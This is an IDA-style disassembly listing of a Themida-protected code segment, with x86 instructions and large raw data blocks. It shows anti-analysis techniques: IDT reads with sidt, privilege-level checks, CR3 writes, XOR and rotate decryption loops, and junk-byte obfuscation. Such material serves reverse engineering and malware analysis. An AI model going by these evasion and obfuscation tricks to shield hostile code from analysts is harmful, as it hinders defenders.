		call	dword ptr [ebp+6A80D11h]
		lea	eax, [ebp+6AB2B13h]
		push	eax
		lea	eax, [ebp+6AB2B31h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+6AA9CAFh]
		push	eax
		push	dword ptr [ebp+6AA9CCBh]
		call	dword ptr [ebp+6A80D11h]
		lea	eax, [ebp+6AB2B13h]
		push	eax
		lea	eax, [ebp+6AB2B25h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+6AA9CB7h]
		push	eax
		push	dword ptr [ebp+6AA9CCBh]
		call	dword ptr [ebp+6A80D11h]
		lea	eax, [ebp+6AB2B13h]
		push	eax
		lea	eax, [ebp+6AB2B29h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+6AA9CBEh]
		push	eax
		push	dword ptr [ebp+6AA9CCBh]
		call	dword ptr [ebp+6A80D11h]
		push	dword ptr [ebp+6AA9CCBh]
		call	dword ptr [ebp+6A80791h]
		jmp	loc_57C843
; ---------------------------------------------------------------------------


loc_57C7A1:				; CODE XREF: Themida_:0057C66Ej
		cmp	dword ptr [ebp+6A8325Dh], 0
		jz	loc_57C843
		cmp	dword ptr [ebp+6A8339Dh], 0
		jnz	loc_57C7CC
		mov	edx, [ebp+6A80725h]
		add	edx, 1CF8h
		jmp	loc_57C7DB
; ---------------------------------------------------------------------------


loc_57C7CC:				; CODE XREF: Themida_:0057C7B5j
		lea	edx, [ebp+6A82815h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_57C7DB:				; CODE XREF: Themida_:0057C7C7j
		mov	[ebp+6A832A1h],	edx
		cmp	dword ptr [ebp+6A832A1h], 0
		jz	loc_57C843
		mov	ebx, [ebp+6A832A1h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+6AB2B1Dh],	eax
		mov	ebx, [ebp+6A832A1h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+6AB2B21h],	eax
		mov	ebx, [ebp+6A832A1h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+6AB2B2Dh],	eax
		mov	ebx, [ebp+6A832A1h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+6AB2B31h],	eax
		mov	ebx, [ebp+6A832A1h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+6AB2B25h],	eax


loc_57C843:				; CODE XREF: Themida_:0057C79Cj
					; Themida_:0057C7A8j ...
		cmp	dword ptr [ebp+6A81F91h], 0
		jnz	loc_57C85D
		cmp	dword ptr [ebp+6A8325Dh], 0
		jz	loc_57C8C5


loc_57C85D:				; CODE XREF: Themida_:0057C84Aj
		push	dword ptr [ebp+6AB2B35h]
		push	dword ptr [ebp+6AB2B29h]
		push	dword ptr [ebp+6AB2B25h]
		push	dword ptr [ebp+6AB2B31h]
		push	dword ptr [ebp+6AB2B2Dh]
		push	dword ptr [ebp+6AB2B21h]
		push	dword ptr [ebp+6AB2B1Dh]
		lea	eax, [ebp+6AB2B17h]
		push	eax
		lea	eax, [ebp+6AB2B4Fh]
		push	eax
		lea	eax, [ebp+6A822DDh]
		push	eax
		call	dword ptr [ebp+6A82235h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+6AB2B39h]
		push	eax
		lea	eax, [ebp+6A822DDh]
		push	eax
		push	0
		call	dword ptr [ebp+6A8142Dh]
		push	1
		call	dword ptr [ebp+6A80081h]


loc_57C8C5:				; CODE XREF: Themida_:0057C857j
		mov	eax, ecx
		jmp	short loc_57C8E1
; ---------------------------------------------------------------------------
		db 17h,	0F3h, 46h
		dd 9Bh,	4 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_57C8E1:				; CODE XREF: Themida_:0057C8C7j
		jmp	loc_57CAF1
; ---------------------------------------------------------------------------


loc_57C8E6:				; CODE XREF: Themida_:0057C8FBj
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 6AB2EE3h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_57C8E6
; ---------------------------------------------------------------------------


loc_57C900:				; CODE XREF: Themida_:0057C905j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57C900
; ---------------------------------------------------------------------------


loc_57C90A:				; CODE XREF: Themida_:0057C90Fj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57C90A
; ---------------------------------------------------------------------------


loc_57C914:				; CODE XREF: Themida_:0057C919j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57C914
; ---------------------------------------------------------------------------


loc_57C91E:				; CODE XREF: Themida_:0057C923j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57C91E
; ---------------------------------------------------------------------------
		align 10h


loc_57C930:				; CODE XREF: Themida_:0057C933j
		pusha
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_57C930
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6AB2F1Bh]
		and	esi, 0FFFFF000h
		jmp	loc_57C954
; ---------------------------------------------------------------------------


loc_57C949:				; CODE XREF: Themida_:0057C95Aj
		call	sub_57C967
		add	esi, 1000h


loc_57C954:				; CODE XREF: Themida_:0057C944j
		cmp	esi, [ebp+6AB2F1Fh]
		jbe	loc_57C949
		mov	eax, cr3
		mov	cr3, eax
		iret

; =============== S U B	R O U T	I N E =======================================



sub_57C967	proc near		; CODE XREF: Themida_:loc_57C949p
		pusha
		popa
		retn
sub_57C967	endp

; ---------------------------------------------------------------------------


loc_57C96A:				; CODE XREF: Themida_:0057C996j
		push	eax
		mov	ax, cs
		and	al, 3
		or	al, al
		jz	loc_57C991
		push	eax
		push	ebx
		mov	ebx, 2
		mov	eax, [ebp+6A832A1h]


loc_57C985:				; CODE XREF: Themida_:0057C989j
		xchg	bl, [eax]
		or	bl, bl
		jnz	loc_57C985
		pop	ebx
		pop	eax


loc_57C991:				; CODE XREF: Themida_:0057C972j
		pop	eax
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_57C96A
; ---------------------------------------------------------------------------
		db 50h
		dd 82474FFh, 24F595FFh,	0F5006A8h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0A832A185h, 0C606h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 0A1858B00h, 8606A832h, 0FDB0A18h,	0FFFFF685h
		dd 0A185C7FFh, 6A82Fh, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 2FA185C7h, 10006A8h, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_57CAF1:				; CODE XREF: Themida_:loc_57C8E1j
		mov	ax, ds
		test	al, 4
		jz	loc_57CB25
		mov	dword ptr [ebp+6AB2EC0h], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+6AB2EC4h]
		lea	eax, [ebp+6AB2EBCh]
		lea	edi, [ebp+6AB2EC4h]
		mov	[eax], edi
		jmp	loc_57CB48
; ---------------------------------------------------------------------------


loc_57CB25:				; CODE XREF: Themida_:0057CAF6j
		lea	eax, [ebp+6A82815h]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+6AB2EBCh],	eax
		lea	eax, [ebp+6A82815h]
		mov	eax, [eax+3Ch]
		mov	[ebp+6AB2EC0h],	eax


loc_57CB48:				; CODE XREF: Themida_:0057CB20j
		lea	eax, [ebp+6AB2ED9h]
		mov	[ebp+6A824F5h],	eax
		jmp	loc_57CBE0
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57CB74
; ---------------------------------------------------------------------------


loc_57CB6D:				; CODE XREF: Themida_:0057CB76j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_57CB74:				; CODE XREF: Themida_:0057CB68j
		cmp	esi, edi
		jb	loc_57CB6D
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57CB9C
; ---------------------------------------------------------------------------


loc_57CB95:				; CODE XREF: Themida_:0057CB9Ej
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_57CB9C:				; CODE XREF: Themida_:0057CB90j
		cmp	esi, edi
		jb	loc_57CB95
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_57CBCF
; ---------------------------------------------------------------------------


loc_57CBBC:				; CODE XREF: Themida_:0057CBD1j
		lodsb
		cmp	al, 2Dh
		jz	loc_57CBCF
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_57CBCF:				; CODE XREF: Themida_:0057CBB7j
					; Themida_:0057CBBFj
		or	ecx, ecx
		jnz	loc_57CBBC
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_57CBE0:				; CODE XREF: Themida_:0057CB54j
		lea	eax, [ebp+6AB314Ch]
		mov	[ebp+6A81A35h],	eax
		lea	eax, [ebp+6AB3174h]
		mov	[ebp+6A82D75h],	eax
		lea	eax, [ebp+6AB319Ch]
		mov	[ebp+6A80EF1h],	eax
		pusha
		call	near ptr loc_57CC18+2
		push	es
		sal	ecx, 1
		mov	esi, 0F2494C20h
		aam	0BEh
		lodsd
		jecxz	short near ptr loc_57CC2B+5
		lodsb


loc_57CC18:				; CODE XREF: Themida_:0057CC05p
		sets	byte ptr [esi-7Fh]
		fst	dword ptr [edi+ecx*2+60C08B5Ah]
		xor	si, 5864h
		mov	edx, ebx
		popa


loc_57CC2B:				; CODE XREF: Themida_:0057CC15j
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_57CC3D
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57CC56


loc_57CC3D:				; CODE XREF: Themida_:0057CC32j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AAA1ACh]
		call	ebx
		pop	ebx
		pop	eax


loc_57CC56:				; CODE XREF: Themida_:0057CC3Bj
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57CC76
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AA9E9Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_57CC76:				; CODE XREF: Themida_:0057CC5Dj
		push	0
		push	esi
		call	sub_57CC81
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CC81	proc near		; CODE XREF: Themida_:0057CC79p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_57CC81	endp

; ---------------------------------------------------------------------------
		db 4, 0A8h, 0F9h
		dd 0FD04842h, 38Ah, 0A9C58000h,	0D38B44B1h, 9E9C08Bh, 36000000h
		dd 2474AD89h, 985D6A0Ch, 55C28166h, 61BD8321h, 6A800h
		dd 1B840Fh, 0AE90000h, 68000000h, 32B04C59h, 0BA66B99Fh
		dd 1C2E990h, 66520000h,	9261D981h, 66DF8C5Eh, 662952B9h
		dd 4C7F7h, 1AA850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 83772FC3h, 0A80A99BDh
		dd 850F0006h, 0Eh, 0D1FAB966h, 177E9h, 0D2816600h, 0BF1392h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0F37FC351h, 74061455h,	60740D47h
		dd 8E9h, 35A7D900h, 0E389D4C3h,	9D8D61D5h, 6AB342Bh, 38BE6650h
		dd 241C8919h, 0CF29BA66h, 35FF64h, 0E9000000h, 5, 750E44Eh
		dd 8A0F52F0h, 4, 0B903BA66h, 2589645Ah,	0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_57CDA3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CDA3	proc near		; CODE XREF: Themida_:0057CD9Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_57CDA3	endp

; ---------------------------------------------------------------------------
		db 0E4h
		dd 12FE3A0Ah, 0D3BE5D19h, 6006D178h, 0D1BF0F60h, 61616160h
		dd 0CDF5C48Bh, 8000EB01h, 0F521CDDh, 686h, 8A0F00h, 5E000000h
		dd 58F64h, 0F000000h, 0C483D0BFh, 0FC00B04h, 0A784h, 0B70F6100h
		dd 20BD8DC8h, 6A06A871h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0FA38C353h,	8A0F26CAh
		dd 0Bh,	0C28B6660h, 7593C981h, 0B8613206h, 1, 0B2E7FFh
		dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
		dd 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 8F7835C3h
		dd 6AD08B66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0E807C351h, 0CF8B667Ah, 51006A61h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0D30E9EABh, 0F896D8C9h, 6AC08BA8h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 439DC357h
		dd 0C7487FCFh, 0E4B8D3CFh, 1ED9BD83h, 750006A8h, 0E9BD8309h
		dd 6A82Dh, 53501974h, 0EB8C08Bh, 89000004h, 0A80FD585h
		dd 139D8D06h, 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 17740006h
		dd 0EB85350h, 89000004h, 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh
		dd 66585BD3h, 0E81DC181h, 0E9D38B66h, 0Ah, 0CB82BFEh, 0D1840DEh
		dd 880F530Fh, 10h, 0BE9h, 8CDD9F00h, 0ED17021Fh, 65D3AA5Ah
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 5E8023C3h, 6009E2DEh, 3E9FBE66h, 4820Fh
		dd 0BF660000h, 8B6159F1h, 7E8C2h, 0E8880000h, 0D531D0B5h
		dd 59C18B2Bh, 616DB260h, 5A25C181h, 0E9600000h,	9, 0B706692Ch
		dd 0F1A20792h, 0F4B960A9h, 0E8703B6Fh, 8, 1929D16Eh, 0E94D6B3Ah
		dd 6861615Eh, 0
; ---------------------------------------------------------------------------
		xor	eax, 46281EA6h
		pop	edx
		ja	loc_57CFEB
		or	esi, 4874D3A3h


loc_57CFEB:				; CODE XREF: Themida_:0057CFDFj
					; Themida_:0057D03Fj
		mov	ebx, [ecx+edx]
		sbb	si, 997Ah
		sub	ebx, 58A455CDh
		mov	di, 0A1E7h
		xor	ebx, 433FD454h
		mov	ax, 0AA29h
		add	ebx, 158E451h
		mov	esi, edi
		push	ebx
		mov	ax, 0DA27h
		pop	dword ptr [ecx+edx]
		mov	edi, 51004DE1h
		jge	loc_57D027
		sbb	ax, 5E21h


loc_57D027:				; CODE XREF: Themida_:0057D01Cj
		sub	edx, 4DD2EF9Fh
		xor	eax, 55B0F790h
		add	edx, 4DD2EF9Bh
		cmp	edx, 0FFFFA684h
		jnz	loc_57CFEB
		mov	eax, ebx
		jmp	short loc_57D051
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_57D051:				; CODE XREF: Themida_:0057D047j
		jmp	loc_57D0D1
; ---------------------------------------------------------------------------
		dw 5260h
		dd 244C010Fh, 0C2835AFEh, 9D858B24h, 8D06A833h,	0AB82B385h
		dd 8B088B06h, 100088h, 660A8B00h, 89FC4A8Bh, 0AB36408Dh
		dd 99BD8306h, 6A80Ah, 0F840Fh, 6A600000h, 3195FF00h, 6106A81Bh
		dd 0FFFFC4E9h, 728966FFh, 10CEC1FCh, 2728966h, 5A04CD52h
		dd 363C8589h, 0B58B06ABh, 6AB3640h, 6610CEC1h, 8B027289h
		dd 0AB3640B5h, 72896606h, 858B61FCh, 6AB363Ch
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_57D0D1:				; CODE XREF: Themida_:loc_57D051j
		lea	edx, [ebp+6A81805h]
		mov	[ebp+6A832A1h],	edx
		mov	[ebp+6A80D19h],	edx
		inc	dword ptr [ebp+6A80D19h]
		mov	byte ptr [ebp+6A815D5h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		mov	[ebp+6A81B31h],	eax
		lea	eax, [ebp+6AB2EF3h]
		mov	[ebp+6A80F89h],	eax
		jmp	short loc_57D137
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57D137:				; CODE XREF: Themida_:0057D115j
		jmp	loc_57D63D
; ---------------------------------------------------------------------------
		jmp	loc_57D636
; ---------------------------------------------------------------------------
		push	6AB3898h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB392Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB3AD9h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB3B3Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		mov	ds:0D679CD84h, eax
		mov	ecx, 6305AEFCh
		sub	bl, [ebx+esi+63CC5A1Fh]
		retn	3B8Fh
; ---------------------------------------------------------------------------
		db 0BCh, 0FDh, 15h
		dd 42ED3974h, 76D96D20h, 0A80B9FD6h, 0EE7ECC85h, 0DCECA7Ch
		dd 76B4B603h, 1059FFC9h, 0D74B4B93h, 8C672F57h,	0D93B1723h
		dd 33C292DFh, 0A4000000h, 0E5CCCC7Eh, 9DB62F57h, 5FA6101Bh
		dd 5CAF57D7h, 79A743F8h, 1635F896h, 0E0D9D25Fh,	0E9CBE48h
		dd 0CD66B603h, 0D994B619h, 6FD54354h, 1DE4h, 5EA6C700h
		dd 5DAF57D7h, 5BEBA5FFh, 0EBF0D46Bh, 30290247h,	345A708Ah
		dd 0F28B603h, 59FF9CBBh, 0C4BDF498h, 0D7969F5Fh, 89E22F57h
		dd 0AF072128h, 865AF41Ch, 0EE3C1578h, 0A5C6E15Dh, 28753C60h
		dd 0F92D06FFh, 5885474Fh, 8D123D2Fh, 82387114h,	321A4448h
		dd 51C7A038h, 47FC50EBh, 80BA19A3h, 2AAC3600h, 0DD6727F7h
		dd 123C7C38h, 0C06EF439h, 0B58286h, 0E6226436h,	0DC3600B4h
		dd 50D87373h, 0B58E96h,	0E0412A36h, 770CE6D2h, 0A9C62994h
		dd 0FCB747ECh, 38A27A09h, 22D05831h, 5Bh, 3559BA05h, 0CD6F3870h
		dd 37365076h, 0DB6030Dh, 781B8422h, 2B4AF531h, 0C36E4662h
		dd 8122F324h, 2DE00h, 89C06700h, 0B8FD923Dh, 0EEA7C162h
		dd 1E5BF758h, 4B062788h, 0D14170FFh, 6A9FDB0h, 329D2964h
		dd 64CF5B12h, 0AA3288C1h, 0F1216B0h, 0AAF0B603h, 2A9DF8Dh
		dd 0FFFA0000h, 4B931059h, 0AF57D74Bh, 57D78501h, 0D0115BAFh
		dd 251E8E45h, 0ACED7BBDh, 0AEAF58C7h, 0AF58C866h, 58C82064h
		dd 0BDDDC6AFh, 15B7B3F0h, 0AF58C815h, 0CD6B44EFh, 58C7FB3Bh
		dd 0A71CB06Fh, 0B474F903h, 0E54E7603h, 0E65DFFB8h, 0CF3F86C0h
		dd 0A2057CABh, 28D0C98Ch, 2C7C01D6h, 488C75B6h,	0D1000002h
		dd 8ABFFB6h, 37982E6Bh,	61C25811h, 913288CDh, 0E269BDF0h
		dd 6F2243CFh, 9BD678DBh, 0C980A40Fh, 0FAB3D27Dh, 982238ACh
		dd 0B60310A0h, 0FFFF2462h, 7302F45Ch, 8144F270h, 0B1DF0BA8h
		dd 58A81317h, 0D246F1AFh, 68BDE755h, 0E2B61618h, 0CBE6C45h
		dd 0B6034212h, 38708AF0h, 0AB60342h, 51F24821h,	1D58F637h
		dd 226F0F90h, 69CA5049h, 0F9314BCFh, 0CBB60341h, 3C2A7760h
		dd 5D9C1DBAh, 6DCBA22Ch, 25C17ADAh, 0AE82B5E3h,	2448ABBCh
		dd 0E01AC06Dh, 0BCAE82A8h, 50D8B19Ah, 0DB0185AEh, 0A493B691h
		dd 8437D047h, 2ADB1382h, 996FC936h, 0BCAEB79Dh,	0E105BE1Eh
		dd 59EE6DA7h, 0CEFC57C3h, 521F3FA0h, 923A59C6h,	41E1B871h
		dd 0A3E7D026h, 733A5A45h, 0D0B5A27Bh, 9C1CDC7Dh, 0F4397013h
		dd 5A114272h, 60DB79C3h, 482600BAh, 331CCA05h, 40092C97h
		dd 0B018509Ah, 0A4AEB646h, 7A742CE5h, 0E4345DA5h, 304AF01Eh
		dd 0CA058FF8h, 7C78AABh, 66CB8EA4h, 53DC5C35h, 32347930h
		dd 0CA059002h, 7AA01BB9h, 1C55F3DCh, 0C75C4A9Ch, 0E402D0B0h
		dd 0B0C766A2h, 0A5F35CD0h, 0A90AB09Bh, 0DC47C38Ah, 0EAB3F0B9h
		dd 0AFD5F14Ah, 193B592Dh, 7DBBBB1Ch, 5B68D1EBh,	1B98B3D7h
		dd 940E4CFh, 7D1273A4h,	2E76F038h, 4AD75B69h, 463240E1h
		dd 0A13ADC44h, 0Ch, 0F45EA67Ah,	765AF57h, 40000000h, 57F15EA6h
		dd 0B5E7C1AFh, 70AED80Eh, 52B6030Eh, 41F3B4F9h,	4FBACCFAh
		dd 11BCAB38h, 52C68FAEh, 736583ACh, 7DEC7C98h, 9DC5BEh
		dd 3260000h, 3E53FC4Ah,	0E4842F7Bh, 98B619ADh, 45E649DDh
		dd 8435B208h, 1AA0ED8Eh, 56D499B9h, 80064FEDh, 0F1357C1Fh
		dd 5555F775h, 2FB60311h, 0B5E742E9h, 70AED80Eh,	52B6030Eh
		dd 41F3B4F9h, 0CFBACCFAh, 91BCAB1Dh, 1DD9D16Bh,	80ABBCABh
		dd 4680E628h, 0BCAB1E42h, 8A3E1700h, 0EC7CB218h, 380AFB38h
		dd 0C1000000h, 0F85BEFA6h, 27881E5Bh, 51F24801h, 8122783Dh
		dd 9219ADE0h, 5F1233DFh, 8BC668CBh, 0B9F0943Fh,	0EAA3C26Dh
		dd 0E812C85Ch, 0B60311B0h, 0DFEF5492h, 3, 0FFCBB0FAh, 138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 81E38953h, 4C3h
		dd 4EB8300h, 8B241C87h,	63682424h, 89000002h, 89532434h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 240C895Ch, 9A26850h
		dd 48B024Fh, 4C48124h, 48000000h, 0E43EFD35h, 58C68904h
		dd 240C8B54h, 4C481h, 89520000h, 348152F2h, 1D15DD24h
		dd 8418F26h, 0DD087181h, 5A261D15h, 592434FFh, 4C481h
		dd 348B0000h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 0FD4199E9h
		db 0FFh, 72h
; ---------------------------------------------------------------------------


loc_57D636:				; CODE XREF: Themida_:0057D13Cj
		mov	eax, 6AB3B9Bh
		add	eax, ebp


loc_57D63D:				; CODE XREF: Themida_:loc_57D137j
		mov	ecx, eax
		jmp	loc_57D695
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_57D65F:				; CODE XREF: Themida_:0057D68Aj
		cmp	ecx, 0
		jz	loc_57D67E
		cmp	edi, [edx+0Ch]
		jg	loc_57D686
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_57D67E:				; CODE XREF: Themida_:0057D662j
					; Themida_:0057D690j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_57D686:				; CODE XREF: Themida_:0057D66Bj
		add	edx, 28h
		dec	ecx
		jnz	loc_57D65F
		jmp	loc_57D67E
; ---------------------------------------------------------------------------


loc_57D695:				; CODE XREF: Themida_:0057D63Fj
		mov	edx, 9FD3Eh
		jmp	short $+2
		jmp	loc_57DC74
; ---------------------------------------------------------------------------
		jmp	loc_57DC6D
; ---------------------------------------------------------------------------
		push	6AB3D7Dh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB3E73h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB3F12h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB3FDAh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB40E6h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dd 0CE5C1534h, 398DC865h, 6FBBF296h, 5FEBAEC4h,	881E53F4h
		dd 83A46E03h, 0B7D778CEh, 6103ACFAh, 12319228h,	8D5FCF5Bh
		dd 3133F7Bh, 58C705B6h,	0F83559BAh, 86971C55h, 811700ADh
		dd 57D73F47h, 0D6FD3DAFh, 45E3AF57h, 57D70703h,	0C652FDAFh
		dd 57D70700h, 0D6C1C5AFh, 7CBBAF57h, 7EAF57D7h,	2F57D736h
		dd 0EEABC728h, 47C06841h, 0EB86ED5h, 35FFF33Bh,	17F82E09h
		dd 4218DD75h, 1E97246h,	13319228h, 4FDB0D2h, 5BE1E9Fh
		dd 1F20A7E1h, 98C63CA8h, 0A81F2A6Eh, 48F2183Ch,	3CA81F50h
		dd 88201932h, 7C3BED46h, 26C7FB7h, 41920A1h, 0E7820000h
		dd 9AB718AEh, 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch
		dd 8E1C51F2h, 0F2480525h, 2C7A3351h, 1DA9E083h,	0F1295389h
		dd 0D3B60313h, 5CFFAE95h, 474E8815h, 0D5AF57D7h, 7593DD46h
		dd 57D6D7D3h, 1682ADAFh, 67A3EA89h, 53D099BCh, 0B5FAB3D2h
		dd 94D859F2h, 0DF440D2Bh, 0A6C56ACEh, 7F35BEFh,	0E612DFD6h
		dd 38Ah, 155CFF39h, 92345288h, 0AF57D796h, 9355C36Ch, 0AF57D794h
		dd 80A40F6Bh, 9ABB64C9h, 78514AD7h, 0D3DA5B30h,	39ADF9B0h
		dd 0D7A19923h, 0C863AF57h, 0DD90B112h, 1187CA6Ch, 0D753F1B2h
		dd 57D775B5h, 9F294FAFh, 0AF57D79Bh, 31D5CE69h,	57D79397h
		dd 0EDC671AFh, 1E57F659h, 1DA60891h, 4E072689h,	531E40E1h
		dd 0D6F135D7h, 90B2AF57h, 65D750DDh, 0A1C728DEh, 0C6524BE8h
		dd 0E3A7EA1Ch, 0B29DB5FFh, 27F24B16h, 9D6645F3h, 323h
		dd 66A4ED8Ch, 51D590BDh, 87034AEEh, 0F733761Ch,	20662B4Ch
		dd 5BFC165Bh, 0F2F9016h, 395BC442h, 0EA892A70h,	658767A3h
		dd 314E723h, 0B09FDDB6h, 33FB30BAh, 0A03A7312h,	4D79A1DAh
		dd 584BFF3Bh, 0CE6AC5AFh, 268BC261h, 0A97DE7Dh,	1A3CF999h
		dd 0AFF4BDDFh, 1EAC857Eh, 584BE8ECh, 5CA2E2AFh,	6101AF58h
		dd 3D5B872Ch, 585C8F8Bh, 5EDA75AFh, 585C8C88h, 0D37152AFh
		dd 721577Bh, 6B4401B5h,	2B212B93h, 0BFF9B15Ah, 0CBFF44E8h
		dd 643EB1h, 0FD2B04B6h,	0F32771AEh, 845233F0h, 0ED000002h
		dd 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h,	0FE45C18Ch
		dd 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h
		dd 0B603168Ch, 0FF0B3076h, 5288155Ch, 169BD271h, 690C9305h
